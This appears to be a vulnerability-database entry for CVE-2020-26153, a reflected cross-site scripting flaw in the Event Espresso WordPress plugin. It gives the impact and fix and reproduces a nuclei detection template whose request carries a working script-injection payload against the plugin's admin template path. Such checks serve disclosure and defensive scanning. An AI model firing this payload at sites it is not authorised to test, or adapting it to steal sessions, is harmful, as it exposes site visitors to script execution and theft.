HexBrain

Browse / CVEs / CVE-2020-26153

CVE-2020-26153· eventespresso / event espresso· CWE-79

Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Event Espresso Core-Reg 4.10.7.p is vulnerable to cross-site scripting in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php and allows remote attackers to inject arbitrary web script or HTML via the page parameter.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

Fix

Upgrade to Event Espresso Core-Reg version 4.10.7.p or later to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/event-espresso-core-reg/readme.txt
Positive when: contains "Event Espresso" and "Tested up to:"
Send: GET {{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3…
Positive when: contains "\"/></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 500

Run it with nuclei: nuclei -id CVE-2020-26153 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-26153

info:
  name: Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Event Espresso Core-Reg 4.10.7.p is vulnerable to cross-site scripting in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php and allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade to Event Espresso Core-Reg version 4.10.7.p or later to mitigate this vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2020-26153-event-espresso-core-cross-site-scripting/
    - https://github.com/eventespresso/event-espresso-core/compare/4.10.6.p...4.10.7.p
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26153
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-26153
    cwe-id: CWE-79
    epss-score: 0.04378
    epss-percentile: 0.91362
    cpe: cpe:2.3:a:eventespresso:event_espresso:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: eventespresso
    product: "event_espresso"
    framework: wordpress
  tags: cve2020,cve,xss,wordpress,wp-plugin,eventespresso,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/event-espresso-core-reg/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Event Espresso'
          - 'Tested up to:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from